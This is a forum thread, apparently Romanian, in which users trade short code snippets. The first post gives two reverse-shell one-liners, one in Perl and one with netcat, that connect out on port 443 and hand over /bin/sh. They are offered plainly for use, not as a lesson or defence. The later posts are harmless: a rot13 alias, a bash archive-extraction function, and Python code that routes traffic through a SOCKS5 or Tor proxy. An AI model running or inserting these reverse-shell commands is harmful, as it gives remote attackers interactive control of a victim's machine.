Jump to content
pyth0n3

A Sh0rt Line C0de

Recommended Posts

Posted

Netcat

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"127.0.0.1:443");STDIN->fdopen($c,r);$~->fdopen($c,w);exec("/bin/sh");'

netcat -e /bin/sh 127.0.0.1 443

Posted
alias rot13='tr a-zA-Z n-za-mN-ZA-M'

unpack () {
if [ -f "$1" ] ; then
case "$1" in
*.tar.bz2) tar xvjf "$1" ;;
*.tar.gz) tar xvzf "$1" ;;
*.bz2) bunzip2 "$1" ;;
*.rar) rar x "$1" ;;
*.gz) gunzip "$1" ;;
*.tar) tar xvf "$1" ;;
*.tbz2) tar xvjf "$1" ;;
*.tgz) tar xvzf "$1" ;;
*.zip) unzip "$1" ;;
*.Z) uncompress "$1" ;;
*.7z) 7z x "$1" ;;
*.deb) ar vx "$1" ;;
*) echo "don't know how to extract '"$1"'" ;;
esac
else
echo "'$1' is not a valid file"
fi
}

Posted

SOCKS in Python - requests are doar HTTP :(


import socks
import socket
import requests

socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
socket.socket = socks.socksocket

print requests.get("http://ip.luz.lu").text

  • Active Members
Posted
SOCKS in Python - requests are doar HTTP :(


import socks
import socket
import requests

socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
socket.socket = socks.socksocket

print requests.get("http://ip.luz.lu").text


import socks
s = socks.socksocket()
s.setproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 1234)
s.connect(("gmail.com",25))
rez=s.recv(2000)
s.close()
print rez

Daca vrei ca un socket sa treaca printr-un socks5

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...